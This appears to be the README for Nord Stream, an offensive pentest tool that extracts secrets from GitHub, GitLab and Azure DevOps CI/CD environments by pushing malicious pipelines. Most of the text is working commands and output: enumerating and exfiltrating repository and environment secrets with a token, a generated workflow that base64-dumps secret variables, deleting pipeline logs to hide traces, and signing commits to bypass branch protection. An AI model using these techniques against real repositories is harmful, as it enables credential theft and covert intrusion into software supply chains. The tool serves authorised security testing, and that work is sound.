
Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.
Nord Stream is a tool that allows you extract secrets stored inside CI/CD environments by deploying malicious pipelines.
It currently supports Azure DevOps, GitHub and GitLab.
Find out more in the following blogpost: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
git is also required (see https://git-scm.com/download/) and must exist in your PATH.
Here is a simple example on GitHub; initially, one can enumerate the various secrets.
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
Then proceed to the exfiltration:
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[*] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[*] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[*] Getting secrets from environment: "PROD" (org/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=Value only accessible from prod environment
[*] Cleaning logs.
[*] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
Some arguments are shared between GitHub, Azure DevOps and GitLab here are some examples.
The --describe-token option can be used to display general information about your token:
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
The --build-yaml option can be used to create a pipeline file without deploying it. It retrieves the various secret names to build the associated pipeline, which can be used to add custom steps:
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
The --yaml option can be used to deploy a custom pipeline:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml
[+] "synacktiv/repo"
[*] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch
[*] Running custom workflow: .../custom.yml
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Workflow output:
2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here"
2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here"
2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0137261Z ##[endgroup]
2023-07-18T20:08:33.0422019Z Doing some important stuff here
[*] Cleaning logs.
[*] Check output: .../nord-stream-logs/github
By default, it will display the output of the task named command of the init job, but everything is stored locally and can be access manually:
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
By default, Nord Stream will attempt to remove traces left after a pipeline deployment, depending on your privileges. To preserve traces, the --no-clean option can be used. This will keep the pipeline logs, but this will still revert the changes made to the repository.
Note that for GitLab, some traces cannot be deleted.
Repository administrators can enforce required commit signing on a branch to block all commits that are not signed and verified. With Nord Stream it's possible to sign commit to bypass such protection.
First create an import your GPG key on the SCM platform.
$ gpg --full-generate-key
$ gpg --armor --export F94496913C43EFC5
$ gpg --list-secret-keys --keyid-format=long
sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23]
Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
uid [ultimate] test-gpg <[email protected]>
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
$ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973
gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST
gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5
gpg: Good signature from "test-gpg <[email protected]>" [ultimate]
Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
Nord Stream can extract the following types of secrets:
Azure DevOps offers the possibility to create connections with external and remote services for executing tasks in a job. To do so, service connections are used. A service connection holds credentials for an identity to a remote service. There are multiple types of service connections in Azure DevOps.
Nord Stream currently support secret extraction for the following types of service connection:
If you come across a non-supported type, please open an issue or make a pull request :)
The extraction for this service connection type was painfull to implement. The output is the following:
hostname:::port:::user:::password:::privatekey